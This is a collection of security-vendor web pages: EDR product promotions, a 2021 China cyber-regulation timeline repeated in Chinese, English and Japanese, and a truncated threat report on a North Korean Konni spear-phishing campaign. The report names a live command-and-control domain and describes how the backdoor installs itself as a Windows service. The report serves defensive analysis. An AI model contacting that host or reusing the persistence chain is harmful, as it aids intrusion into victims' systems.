國際權威顧問公司 Gartner 指出端點偵測與回應 (Endpoint Detection and Response, EDR) 解決方案，是專用於紀錄與儲存端點設備行為的軟體，針對端點設備如員工筆電、重要資料儲存的伺服器等，軟體運用資料分析技術，能夠偵測異常行為，並且恢復受到影響的設備。

 

## 端點偵測與回應(EDR) 解決方案應具備的功能

 

能夠阻擋勒索軟體、有效保護電腦等端點的 EDR 解決方案，應具備四大功能:

1. 偵測資安相關事件

2. 攔截端點事件

3. 調查資安事件

4. 提供恢復原狀的指引 

 

## 端點偵測與回應(EDR) 解決方案推薦: ThreatSonar Anti-Ransomware

 

ThreatSonar Anti-Ransomware 由 TeamT5 研發，頂尖資安專家團隊基於多年資安威脅情資分析，並有效掌握駭客入侵企業的手法，協助企業透過此款 EDR 解決方案，即達到防護企業端點設備的效果，防禦勒索軟體攻擊。解決方案更獲國內外各大政府單位、金融機構、企業採用。

 

今天就聯絡我們，看產品 Demo: https://teamt5.org/tw/request-information/


*參考資料: [Gartner Endpoint Detection and Response (EDR) Solutions Reviews 2021](https://www.gartner.com/reviews/market/endpoint-detection-and-response-solutions)


*圖片來源: [Pixabay](https://pixabay.com/)

什麼是端點偵測與回應(EDR)解決方案?

エンドポイントでの検知とレスポンス（EDR）ソリューションは、企業がランサムウェア、身代金要求ウイルスの脅威に抵抗するための重要な鍵となる。適切な EDR ソリューションを選択すれば、企業の重要なファイルがハッカーによってロックされ、暗号化されることから保護できる。

##	エンドポイントでの検知とレスポンス（EDR）ソリューションとは

国際的権威のあるコンサル企業 Gartner 社は、エンドポイントでの検知とレスポンス（Endpoint Detection and Response、EDR）ソリューションは、エンドポイントデバイスの行動を記録および保存するためのソフトウェアで、従業員のノート PC、重要なデータが保存されたサーバー等のエンドポイントデバイスに対してソフトウェアがデータ解析技術を運用し、異常な振る舞いを検知して影響を受けたデバイスの復旧を可能にするものであると述べている。

##	エンドポイントでの検知とレスポンス（EDR）ソリューションが備えるべき機能

ランサムウェアを阻止し、効果的に PC 等のエンドポイントを保護する EDR ソリューションには4つの機能が備わっている必要がある。
1.	情報セキュリティ関連インシデントの検知
2.	エンドポイントでのインシデントの阻止
3.	情報セキュリティインシデントの調査
4.	復旧のためのガイド提供

##	エンドポイントでの検知とレスポンス（EDR）ソリューションのおすすめ： ThreatSonar Anti-Ransomware

ThreatSonar Anti-Ransomware は TeamT5 が開発し、トップレベルの情報セキュリティ専門家チームが長年の情報セキュリティ脅威情報の解析に基づき、ハッカーが企業に侵入する手法を効果的に把握することで企業がこの EDR ソリューションによってエンドポイントデバイスを防御してランサムウェアによる攻撃を防ぐことができるソフトウェアである。このソリューションは国内外の政府機関、金融機関、企業等に採用されている。

ぜひ当社にご連絡いただき、製品 Demo をご覧ください：https://teamt5.org/jp/request-information/

 
 
*参考文献: [Gartner Endpoint Detection and Response (EDR) Solutions Reviews 2021](https://www.gartner.com/reviews/market/endpoint-detection-and-response-solutions)

*画像のソース: [Pixabay](https://pixabay.com/)

エンドポイントでの検知とレスポンス（EDR）ソリューションとは？

# Why should you read this article?
China presents an enormous influence on the cyber threat landscape of the Asia-Pacific region. By analyzing China's cyberspace and regulatory state, one may catch a glimpse of the underlying shift of the cyber ecosystem and threat actors' TTPs and motivations. In this article, our analysts summarized the key incidents that shape China's cyberspace in 2021 and propose some outlooks for future development.
 

## Key Takeaways
1.	2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). In 2021, China had launched a sweeping tech crackdown and accelerated consolidation of power in reigning everything within the Great Firewall (GFW).
2.	The Chinese regulators had taken high-profile actions against major tech companies, especially those operating social media and commerce platforms. Firms like Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan have faced record fines and cybersecurity probes. In contrast, "hard tech" companies in strategically critical sectors like Huawei and SMIC have been mainly exempted from regulatory scrutiny.
3.	The Chinese regulators, led by the Cyberspace Administration of China (CAC), introduced and amended a series of regulations to tighten their control over the management and flow of data. The new rules range from privacy protection and data transfer to vulnerabilities disclosure.
4.	International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse, Signal, and Quran Majeed have been reportedly blocked in China. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing a challenging environment.
5.	With China's expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to their network and asset exposure to China's jurisdiction. Besides, we have observed that China's regulatory campaign were often followed by covert cyber operations. Indicators have shown that 2022 will undoubtedly be another challenging year for Chinese and international tech giants.

# Overview: A Year of Tech Crackdown

2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). One of the strategy’s ambitions is to tackle monopolies and review regulations related to the digital economy. Over the past year, the Chinese regulators had taken high-profile actions against major tech companies, especially those operate social media and commerce platforms. Prior to 2021, the relationships between the Chinese authorities and the country’s tech giants have been complex and in flux. For many years, the tech regulators had turned a blind eye to some illegal business practices, anti-competitive acts, and tax evasion of the tech giants, because these companies have brought China robust economic growth. However, in 2021, the Chinese regulators had taken high-profile actions against companies including Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan, levying record-high fines as well as imposing cybersecurity probes and a six-month rectification program. Companies in online gaming, private tutoring, and cryptocurrency were also among the casualties.

What is notable is that all the regulations and probes are directed at the consumer technology sector, rather than “hard tech” companies that are considered by China as strategically critical sectors, such as semiconductor, new materials, new energy, and aeronautics. Therefore, companies Huawei and Semiconductor Manufacturing International Corporation (SMIC) are largely exempted from regulatory scrutiny.

On the other hand, the Chinese regulators, led by the Cyberspace Administration of China (CAC), had introduced and amended a series of regulations to tighten their control over the management and flow of data. For instance, the CAC has implemented the Data Security Law that restricts cross-border data transfers as well as the Personal Information Protection Law which governs data privacy protection. The latter is also regarded as China’s version of the EU’s General Data Protection Regulation (GDPR). Meanwhile, the CAC also announced a new vulnerability disclosure regulation that requires vendors to share vulnerability reports with state agencies within two days. Because of the new law, Alibaba Cloud has faced punishment for not reporting the most serious vulnerability in recent years, Log4Shell, to the Chinese authorities in the first place.

# A More Difficult Environment for Domestic and International Tech Firms

International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse and Signal have been reportedly blocked in China, as these services allow the online users to exchange ideas without being censored by the Chinese government or Chinese social media platforms. Quran Majeed, a popular app among the Muslim community, was also banned in China, signaling more oppression against the Chinese Uyghurs. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing challenging environment. The abovementioned incidents have indicated that 2022 is very likely to be another difficult year for both domestic and international tech firms.

The following timeline have summed up China’s actions in reigning in the country’s cyberspace in 2021.

# Abbreviations

```
CCP: Chinese Communist Party

CAC: Cyberspace Administration of China

MIIT: Ministry of Industry and Information Technology

SAMR: State Administration for Market Regulation```


# Timeline
## 2021Q1
**January**

- SAMR launched antitrust investigation into Alibaba
- CAC issued a new law to regulate public accounts to combat disinformation and fake traffic



**February**

- SAMR finalized anti-monopoly guidelines
- MIIT drafted new regulations to combat excessive data collection by mobile apps
- US audio-chat app Clubhouse reportedly blocked in China



**March**

- CCP's Two Sessions 2021
- SAMR fined 10 big tech firms for failing to report acquisitions
- CAC issued new rules to tighten supervision over big tech’s collection of user data
- Encrypted messaging app Signal reportedly blocked in China


## 2021Q2
**April**

- SAMR imposed record US$2.8 Billion fine against Alibaba
- CAC launches hotline for netizens to report “illegal” history comments
- SAMR announced investigation into delivery giant Meituan
- CCP reviewed “Data Security Law” and “Personal Information Protection Law”
- CAC issue draft rules on users’ privacy protection of mobile apps



**May**

- CAC called out 84 apps Including Tencent, Alibaba, and Baidu for violating user privacy



**June**

- CCP Passed “Data Security Law” and “Anti- Foreign Sanctions Law”
- China widens cryptocurrency crackdown: mining projects shut down; banks ordered to step up clampdown


## 2021Q3
**July**

- CAC banned Didi Chuxing’s apps after its U.S. IPO
- CAC to amend “Cybersecurity Review Regulations,” tightening controls over foreign-listed firms
- CAC issued new vulnerability disclosure rules
- MIIT launched 6-month rectification program, ordering tech firms to fix anticompetitive, security issues
- 7 Chinese agencies sent officials to conduct on-site cybersecurity inspections at Didi Chuxing



**August**

- Chinese state media labeled online gaming “spiritual opium” and called out Tencent
- CAC drafted "Personal Information Protection Law"
- CAC launched regulations to protect critical information infrastructure
- China orders state firms to migrate to government cloud services



**September**

- CAC launched “Security Threat Information Sharing Platform” for reporting vulnerabilities
- CAC ruled all crypto-related transactions illegal


## 2021Q4
**October**

- LinkedIn shut down operation in China as compliance challenges increase
- CAC banned cross border transfer of core industrial and telecoms data
- China bans Quran Majeed, one of the most popular Quran apps in the world



**November**

- Personal Information Protection Law (PIPL) took effect
- Yahoo pulled out of China, citing 'challenging' environment
- China suspended Tencent apps update and limiting use in state-run firms
- China to ban business use of WeChat and Alipay personal payment QR codes
- China censored tennis star Peng Shuai over sexual assault claims against CCP high-ranking official



**December**

- CAC issued rules to block foreign religious content online
- MIIT suspended cooperation with Alibaba Cloud, citing delayed report of Log4j2 vulnerability
- Didi Global delisted from the NYSE
- CAC fined Weibo for publishing illegal information


# Outlook: China's Endless Pursuit of Cyber Power and Regulatory Control
So far, there is no indication that the Chinese government will loosen up its grip over the tech firms. With China’s expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to the exposure of their network and asset to China’s jurisdiction. On the other hand, we have observed that China's regulatory campaign were often followed by covert cyber operations. For instance, our telemetry had previously detected that China-nexus Advanced Persistent Threat (APT) groups targeted companies and organizations which were on the list of China's anti-corruption campaign.

The political landscape in China heavily influences the country's strategy in reigning its cyberspace. In August 2022, the Chinese Communist Party (CCP) will be hosting its 20th Party Congress, where the party’s leadership and policy agenda for the next five years will be announced. It is no surprise that the Chinese authorities will continue the enforcement actions, furthering tech crackdown under the name of “common prosperity” and consolidating the state’s position as the country’s most powerful cyber player.



*Image courtesy of [Pixabay](https://pixabay.com/)

China’s Cyber Power Intel Roundup 2021: Tech Crackdown, Regulatory Storm, and Power Expansion

> 中國對亞太地區的網路環境具有極高度影響力。透過分析中國的網路空間與監管作法，人們得以瞥見中國網路生態系的轉變，及網路攻擊行動者的動機與所使用之戰術、技術與流程（tactics, techniques, and procedures, TTP）。本文中，TeamT5 資安威脅情資分析師團隊總結形塑了2021年中國網路空間的關鍵事件，並提出對未來發展態勢的看法。

# Why should you read this article?
China presents an enormous influence on the cyber threat landscape of the Asia-Pacific region. By analyzing China's cyberspace and regulatory state, one may catch a glimpse of the underlying shift of the cyber ecosystem and threat actors' TTPs and motivations. In this article, our analysts summarized the key incidents that shape China's cyberspace in 2021 and propose some outlooks for future development.

## Key Takeaways
1.	2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). In 2021, China had launched a sweeping tech crackdown and accelerated consolidation of power in reigning everything within the Great Firewall (GFW).
2.	The Chinese regulators had taken high-profile actions against major tech companies, especially those operating social media and commerce platforms. Firms like Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan have faced record fines and cybersecurity probes. In contrast, "hard tech" companies in strategically critical sectors like Huawei and SMIC have been mainly exempted from regulatory scrutiny.
3.	The Chinese regulators, led by the Cyberspace Administration of China (CAC), introduced and amended a series of regulations to tighten their control over the management and flow of data. The new rules range from privacy protection and data transfer to vulnerabilities disclosure.
4.	International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse, Signal, and Quran Majeed have been reportedly blocked in China. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing a challenging environment.
5.	With China's expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to their network and asset exposure to China's jurisdiction. Besides, we have observed that China's regulatory campaign were often followed by covert cyber operations. Indicators have shown that 2022 will undoubtedly be another challenging year for Chinese and international tech giants.

# Overview: A Year of Tech Crackdown
2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). One of the strategy’s ambitions is to tackle monopolies and review regulations related to the digital economy. Over the past year, the Chinese regulators had taken high-profile actions against major tech companies, especially those operate social media and commerce platforms. Prior to 2021, the relationships between the Chinese authorities and the country’s tech giants have been complex and in flux. For many years, the tech regulators had turned a blind eye to some illegal business practices, anti-competitive acts, and tax evasion of the tech giants, because these companies have brought China robust economic growth. However, in 2021, the Chinese regulators had taken high-profile actions against companies including Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan, levying record-high fines as well as imposing cybersecurity probes and a six-month rectification program. Companies in online gaming, private tutoring, and cryptocurrency were also among the casualties.

What is notable is that all the regulations and probes are directed at the consumer technology sector, rather than “hard tech” companies that are considered by China as strategically critical sectors, such as semiconductor, new materials, new energy, and aeronautics. Therefore, companies Huawei and Semiconductor Manufacturing International Corporation (SMIC) are largely exempted from regulatory scrutiny.

On the other hand, the Chinese regulators, led by the Cyberspace Administration of China (CAC), had introduced and amended a series of regulations to tighten their control over the management and flow of data. For instance, the CAC has implemented the Data Security Law that restricts cross-border data transfers as well as the Personal Information Protection Law which governs data privacy protection. The latter is also regarded as China’s version of the EU’s General Data Protection Regulation (GDPR). Meanwhile, the CAC also announced a new vulnerability disclosure regulation that requires vendors to share vulnerability reports with state agencies within two days. Because of the new law, Alibaba Cloud has faced punishment for not reporting the most serious vulnerability in recent years, Log4Shell, to the Chinese authorities in the first place.

# A More Difficult Environment for Domestic and International Tech Firms

International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse and Signal have been reportedly blocked in China, as these services allow the online users to exchange ideas without being censored by the Chinese government or Chinese social media platforms. Quran Majeed, a popular app among the Muslim community, was also banned in China, signaling more oppression against the Chinese Uyghurs. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing challenging environment. The abovementioned incidents have indicated that 2022 is very likely to be another difficult year for both domestic and international tech firms.

The following timeline have summed up China’s actions in reigning in the country’s cyberspace in 2021.

# Abbreviations

```
CCP: Chinese Communist Party

CAC: Cyberspace Administration of China

MIIT: Ministry of Industry and Information Technology

SAMR: State Administration for Market Regulation```


# Timeline
## 2021Q1
**January**

- SAMR launched antitrust investigation into Alibaba
- CAC issued a new law to regulate public accounts to combat disinformation and fake traffic



**February**

- SAMR finalized anti-monopoly guidelines
- MIIT drafted new regulations to combat excessive data collection by mobile apps
- US audio-chat app Clubhouse reportedly blocked in China



**March**

- CCP's Two Sessions 2021
- SAMR fined 10 big tech firms for failing to report acquisitions
- CAC issued new rules to tighten supervision over big tech’s collection of user data
- Encrypted messaging app Signal reportedly blocked in China


## 2021Q2
**April**

- SAMR imposed record US$2.8 Billion fine against Alibaba
- CAC launches hotline for netizens to report “illegal” history comments
- SAMR announced investigation into delivery giant Meituan
- CCP reviewed “Data Security Law” and “Personal Information Protection Law”
- CAC issue draft rules on users’ privacy protection of mobile apps



**May**

- CAC called out 84 apps Including Tencent, Alibaba, and Baidu for violating user privacy



**June**

- CCP Passed “Data Security Law” and “Anti- Foreign Sanctions Law”
- China widens cryptocurrency crackdown: mining projects shut down; banks ordered to step up clampdown


## 2021Q3
**July**

- CAC banned Didi Chuxing’s apps after its U.S. IPO
- CAC to amend “Cybersecurity Review Regulations,” tightening controls over foreign-listed firms
- CAC issued new vulnerability disclosure rules
- MIIT launched 6-month rectification program, ordering tech firms to fix anticompetitive, security issues
- 7 Chinese agencies sent officials to conduct on-site cybersecurity inspections at Didi Chuxing



**August**

- Chinese state media labeled online gaming “spiritual opium” and called out Tencent
- CAC drafted "Personal Information Protection Law"
- CAC launched regulations to protect critical information infrastructure
- China orders state firms to migrate to government cloud services



**September**

- CAC launched “Security Threat Information Sharing Platform” for reporting vulnerabilities
- CAC ruled all crypto-related transactions illegal


## 2021Q4
**October**

- LinkedIn shut down operation in China as compliance challenges increase
- CAC banned cross border transfer of core industrial and telecoms data
- China bans Quran Majeed, one of the most popular Quran apps in the world



**November**

- Personal Information Protection Law (PIPL) took effect
- Yahoo pulled out of China, citing 'challenging' environment
- China suspended Tencent apps update and limiting use in state-run firms
- China to ban business use of WeChat and Alipay personal payment QR codes
- China censored tennis star Peng Shuai over sexual assault claims against CCP high-ranking official



**December**

- CAC issued rules to block foreign religious content online
- MIIT suspended cooperation with Alibaba Cloud, citing delayed report of Log4j2 vulnerability
- Didi Global delisted from the NYSE
- CAC fined Weibo for publishing illegal information


# Outlook: China's Endless Pursuit of Cyber Power and Regulatory Control
So far, there is no indication that the Chinese government will loosen up its grip over the tech firms. With China’s expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to the exposure of their network and asset to China’s jurisdiction. On the other hand, we have observed that China's regulatory campaign were often followed by covert cyber operations. For instance, our telemetry had previously detected that China-nexus Advanced Persistent Threat (APT) groups targeted companies and organizations which were on the list of China's anti-corruption campaign.

The political landscape in China heavily influences the country's strategy in reigning its cyberspace. In August 2022, the Chinese Communist Party (CCP) will be hosting its 20th Party Congress, where the party’s leadership and policy agenda for the next five years will be announced. It is no surprise that the Chinese authorities will continue the enforcement actions, furthering tech crackdown under the name of “common prosperity” and consolidating the state’s position as the country’s most powerful cyber player.


*圖片來源: [Pixabay](https://pixabay.com/)



中國網路威脅之2021年情資綜述: 打壓科技巨頭、監管風暴、權力擴張

# この記事を読んでおきたい理由
中国は、アジア太平洋地域のサイバー脅威の状況に大きな影響を及ぼしています。中国のサイバースペースと規制状況を分析することで、サイバーエコシステムの根本的な変化を知り、脅威アクターのTTPや動機を垣間見ることができます。本記事では、2021年の中国のサイバースペースを形成した重要なインシデントをまとめており、今後の展開についてもいくつかの展望を提案しています。
 

## 重要な事項
1.	2021年は、中国の第14次5カ年計画（2021～2025年）が開始する年でもあり、中国のサイバースペースにとって重要な年でした。2021年、中国はグレートファイアウオール（GFW）の中にすべてをおさめるため、徹底的な技術取り締まりを実施し、権力をさらに強化させました。
2.	中国の規制当局は、大手ハイテク企業、特にソーシャルメディアやコマースプラットフォームを運営する企業に対して、注目度の高い措置を取りました。Alibaba、ByteDance、Tencent、Didi Chuxing、Meituanなどの企業が、記録的な罰金とサイバーセキュリティの調査に直面しました。それに対して、HuaweiやSMICなどの戦略的に重要な分野に属する「ハードテック」企業の多くは、規制当局の監視から免除されました。
3.	中国サイバースペース管理局（CAC）を中心とした中国の規制当局は、データの管理と流れの管理を強化すべく、一連の規制を導入し、修正を行いました。新しい規則は、プライバシー保護やデータ転送、脆弱性の開示など多岐にわたるものです。
4.	また、国際的なテクノロジー企業も中国の規制当局からの圧力や検閲に直面しました。Clubhouse、Signal、Quran Majeedなどの有名なアプリが中国でブロックされたことが繰り返し報じられました。その他にも、LinkedInやYahooなどの企業が、厳しい環境を理由に中国から撤退しています。
5.	中国のサイバースペースにおける力が拡大する中、関係者やサイバーセキュリティ専門家は、中国の司法権にさらされるネットワークや資産を慎重に扱う必要があります。それだけではなく、中国の規制キャンペーンの後には、秘密のサイバー作戦が後続する傾向にあることもわかっています。2022年も、中国や世界のハイテク企業にとって厳しい年になることは間違いない兆候にあります。


# 概要：技術取り締まりが多発した年

2021年は、中国の第14次5カ年計画（2021～2025年）が開始する年でもあり、中国のサイバースペースにとって重要な年でした。この戦略の目的の1つが、独占事業への取り組みとデジタル経済に関連した規制の見直しです。この1年にわたって、中国の規制当局は、大手ハイテク企業、特にソーシャルメディアやコマースプラットフォームを運営する企業に対して、注目度の高い措置を取りました。2021年までは、中国当局と同国の技術系最大手企業との関係は複雑で流動的なものでした。長年にわたり、規制当局はこういった企業の違法なビジネス行為、反競争的行為、脱税などの行為に対して目をつぶってきました。なぜなら、技術系企業が中国に強固な経済成長をもたらしていたからです。しかしながら、2021年、中国の規制当局は、Alibaba、ByteDance、Tencent、Didi Chuxing、Meituanなどの企業に対して、過去最高額の罰金を課すとともに、サイバーセキュリティの調査や6ヶ月の是正プログラムを課すなど、注目を集める措置をとりました。オンラインゲーム、家庭教師、暗号通貨などを運営する企業も犠牲となりました。

注目すべきは、すべての規制や調査が、半導体、新素材、新エネルギー、航空などの中国が戦略的に重要と考える「ハードテック」企業ではなく、消費者向け技術分野に向けられている点です。そのため、HuaweiやSemiconductor Manufacturing International Corporation（SMIC）といった企業は、規制当局の監視対象からほとんど除外されています。

一方で、中国サイバースペース管理局（CAC）を中心とした中国の規制当局は、データの管理と流れの管理を強化すべく、一連の規制を導入し、修正を行いました。例えば、CACは、国境を越えたデータ転送を制限するデータセキュリティ法や、データプライバシー保護を規定する個人情報保護法を執行しました。個人情報保護法は、EUの一般データ保護規則（GDPR）の中国版とも位置づけられています。それと同時に、CACはベンダーに対して2日以内に脆弱性レポートを州当局と共有することを義務付ける、新しい脆弱性開示規制も発表しました。この新しい法律により、Alibaba Cloudは、近年で最も深刻な脆弱性であるLog4Shellを第一に中国当局に報告しなかったことで処分されました。

# 国内外の技術系企業にとって環境が厳格化

また、国際的なテクノロジー企業も中国の規制当局からの圧力や検閲に直面しました。ClubhouseやSignalなどの有名なアプリが中国で繰り返しブロックされています。これらのサービスでは、中国政府や中国のソーシャルメディアプラットフォームの検閲を受けることなく、オンラインユーザーが意見を交換することができるからです。イスラム教徒の間で人気のアプリであるQuran Majeedも中国で禁止され、中国のウイグル人に対する弾圧がさらに強まる兆候にあります。その他にも、LinkedInやYahooなどの企業が、厳しい環境を理由に中国から撤退しています。上述のようなインシデントから、2022年も国内外の技術系企業にとって厳しい年となる可能性が非常に高いことがわかります。

以下の年表は、2021年度に中国がサイバースペースに影響を及ぼした行動をまとめたものです。

# 略語

```
CCP: 中国共産党

CAC: 中国サイバースペース管理局

MIIT: 中華人民共和国工業情報化部

SAMR: 国家市場監督管理総局```


# 年表
## 2021Q1
**1月**

- SAMRがAlibabaへの独占禁止法調査を開始
- CACが偽情報と偽トラフィックに対抗するため、公会計を規制する新法を発表




**2月**

- SAMRが独占禁止法ガイドラインを成立
- MIITがモバイルアプリによる過度なデータ収集に対処するための新たな規制を立案
- 米国のオーディオチャットアプリ「Clubhouse」が中国でブロックされたと報道あり




**3月**

- CCPのTwo Sessions 2021
- SAMRが買収を報告しなかった大手技術系企業10社に罰金の支払いを命令
- CACが、大手ハイテク企業によるデータ収集への監督を強化するため新規則を発表
- 暗号化メッセージアプリ「Signal」が中国でブロックされたと報道あり



## 2021Q2
**4月**

- SAMRがAlibabaに過去最高の28億ドルの罰金の支払いを命令
- CACはネットユーザーが「違法な」履歴コメントを報告することができるホットラインを開設
- SAMRが宅配大手企業「Meituan」に対する調査を発表
- CCPが「データセキュリティ法」と「個人情報保護法」の見直しを実施
- CACがモバイルアプリ利用者のプライバシー保護に対する規則の草案を発表




**5月**

- CACはTencent、Alibaba、Baiduなどの84個のアプリがユーザーのプライバシーを侵害しているとして摘発




**6月**

- CCPが「データセキュリティ法」と「反外国人制裁法」を可決
- 中国が暗号通貨の取り締まりを拡大。マイニングプロジェクトが閉鎖され、銀行に取締りを強化するよう要請


## 2021Q3
**7月**

- CACが米国IPO後にDidiChuxingのアプリを禁止IPO
- CACが「サイバーセキュリティ審査規則」を改正し、外国上場企業に対する規制を強化
- CACが脆弱性開示に関する新規則を発表
- MIITが6か月の修正プログラムを開始し、技術系企業に反競争的なセキュリティの問題を修正するように命令
- 7つの中国の機関が、Didi Chuxingでサイバーセキュリティ検査を実施するために職員を派遣




**8月**

- 中国の国営メディアがオンラインゲームを「精神面に影響するアヘン」と名付け、Tencentを非難
- CACが「個人情報保護法」を起草
- CACが重要な情報インフラストラクチャを保護するための規制を制定
- 中国が国営企業に政府のクラウドサービスへの移行を命令




**9月**

- CACが脆弱性を報告するための「セキュリティ脅威情報共有プラットフォーム」を発表
- CACがすべての暗号関連の取引を違法と判断



## 2021Q4
**10月**

- LinkedInがコンプライアンスの課題が増えたことを理由に中国での事業を停止
- CACが主要な産業や電気通信データの国境を越えた転送を禁止
- 中国は、世界で最も人気のあるコーランアプリの1つであるQuran Majeedを禁止




**11月**

- 「個人情報保護法」（PIPL）の施行を開始
- Yahooが「困難な」環境を理由に中国から撤退
- 中国がTencentアプリの更新を一時停止し、国営企業のみでの使用に制限
- 中国がビジネスでのWeChatとAlipayの個人決済QRコードの使用を禁止
- 中国が、CCPの高官に対する性的暴行の主張をめぐってテニススターの彭帥を検閲




**12月**

- CACが外国からの宗教的なオンラインコンテンツをブロックするための規則を発表
- MIITは、Log4j2の脆弱性の報告が遅れたことを理由に、Alibaba Cloudとの提携を停止
- Didi Globalがニューヨーク証券取引所から上場廃止
- CACが違法な情報を公開したとしてWeiboに罰金の支払いを命令



# 展望：中国はサイバーパワーと規制管理を際限なく追求
今のところ、中国政府が技術系企業への管理を緩和させる気配はありません。中国のサイバースペースにおける力が拡大する中、関係者やサイバーセキュリティ専門家は、中国の司法権にさらされるネットワークや資産を慎重に扱う必要があります。またその一方で、中国の規制キャンペーンの後には、秘密のサイバー作戦が後続する傾向にあることもわかっています。例えば、当社のテレメトリーは、中国関連のAPT（Advanced Persistent Threat）グループが、中国の腐敗防止キャンペーンのリストに載っている企業や組織を標的にしていることを以前に検出しています。

中国の政治状況は、サイバースペースを支配する中国の戦略に大きく影響します。2022年8月には、中国共産党（CCP）が第20回党大会を開催します。ここで、今後5年間の党指導部と政策アジェンダが発表される予定です。中国当局が取締りを継続し、「共同繁栄」の名の下に技術取り締まりをさらに強化して、国内最強のサイバープレイヤーとしての国家の地位を固めたとしても驚くにはあたらないでしょう。



*画像のソース: [Pixabay](https://pixabay.com/)

中国のサイバーパワーインテリジェンスまとめ 2021：技術の取り締まり、規制の嵐、電力の拡張

企業受勒索軟體攻擊的新聞，近年佔據媒體各大版面，不論企業的所在國家、產業或規模，都是受攻擊的對象。本文重點說明勒索軟體對企業的重大影響，以及預防3大方法，期望協助企業保持日常業務不受影響，強化營運韌性。



# **勒索軟體是什麼?**

勒索軟體是一種新型態的病毒攻擊，它針對電腦主機上的重要檔案進行加密，使員工無法打開檔案、文件。企業必須繳付贖金，才能從駭客那邊取得金鑰，解開被鎖定的檔案。



## **勒索軟體對企業的影響**

企業員工的電腦若受到這種網路攻擊，會造成企業內部的重要檔案遭到加密，如企業收到的訂單、客戶資料被封鎖起來，使員工無法存取檔案、進行日常工作。



## **企業預防勒索軟體的3種方法**

1.掌握攻擊手法

企業必須掌握攻擊者慣用的手法，像是提醒員工不要點擊來路不明的電子郵件，這類郵件可能暗藏釣魚連結或惡意軟體，點開後可能使電腦受到挾持。也建議企業針對伺服器主機，將弱點做到快速修補，都是很好的防禦方法。

2.安裝防護軟體

建議企業在員工的電腦上裝合適的資安軟體，針對電腦進行即時的監控，這樣才能做到快速的惡意威脅阻擋。

3.選擇防護最完善的軟體

安裝的防護軟體可以選擇 TeamT5 推出的 ThreatSonar EDR。這套軟體主打阻擋勒索軟體，具備 AI 人工智慧，透過加密勒索防禦模組，可以做到快速的網路威脅偵測，更能減少企業不必要的人力及時間成本支出。


## **TeamT5 小提醒**

勒索軟體攻擊是現在常見的網路攻擊手法，無論企業是在哪一個國家營運，各行各業、各種大小規模的企業，都有可能遭遇到這種攻擊。 TeamT5 杜浦數位安全建議您選擇合適的工具，如TeamT5 的 ThreatSonar EDR，才能確保企業營運穩定，不受勒索軟體攻擊及各種惡意威脅。

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/K2tpb1aeDrQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</center>

勒索軟體橫行 企業預防3大方法

# 摘要
TeamT5近期掌握到一針對俄羅斯外交部的攻擊事件，根據其中的後門程式內容，據信是來自於北韓駭客組織Konni的攻擊行動。該事件中，駭客利用恭賀2022新年為主題的賀卡，寄送魚叉式惡意郵件，若使用者開啟並執行郵件附檔，使用者電腦將會被植入後門程式Sanny，並連線至惡意中繼站，讓駭客長期且持續地控制使用者電腦。

關鍵字：APT、Konni、Sanny、North Korea、Russia

## 事件說明 

TeamT5近日取得一惡意魚叉式電子郵件，駭客偽冒成俄羅斯駐塞爾維亞大使館人員，並向其同事祝賀新年，其收件者包含俄羅斯外交部副部長。郵件內容與螢幕保護程式詳見下圖。


![konni_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131163/konni_pic1_1f749bb061.png)
<center>圖1:惡意郵件內文</center>



![konni_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131163/konni_pic2_544dd383a7.png)
<center>圖2:螢幕保護程式畫面</center>


信件中的附檔經過解壓縮後會得到螢幕保護程式поздравление.scr，執行後將會出現螢幕保護程式並連線至中繼站 ```i758769.atwebpages.com```，下載惡意Payload並透過Base64演算法取得惡意CAB檔案。

惡意CAB檔案執行後會產生三個檔案，分別為安裝檔Installer.bat、後門程式scrnsvc.dll與組態設定檔scrnsvc.ini。當後門程式順利運作時，會連線至中繼站供駭客連線控制使用。詳細攻擊流程詳見下圖。


![konni_pic3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131164/konni_pic3_e02f30a2f0.png)
<center>圖3:攻擊行動示意圖</center>


後門程式scrnsvc.dll與TeamT5的研究情資交叉比對後，持高度信心與北韓駭客組織Konni慣用之後門程式家族Sanny有關。

#樣本分析
## Installer.bat
Installer.bat為批次檔案，其主要用途是將當前目錄下的scrnsvc.dll和scrnsvc.ini複製到 ```%windir%\System32\``` 路徑下。將scrnsvc.dll註冊為scrnsvc服務（ScreenSaver Management Service），並刪除當前目錄的所有檔案，其中包含不存在的檔案wpnprv.dll。


![konni_pic4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1642131162/konni_pic4_d25a82dcb1.png)
<center>圖4: Installer.bat內容</center>


## scrnsvc.dll
scrnsvc.dll為PE檔案，其檔案編譯時間為UTC 2021-12-20 08:02:38，因此相信是駭客因此次攻擊行動刻意編譯而成的後門程式。

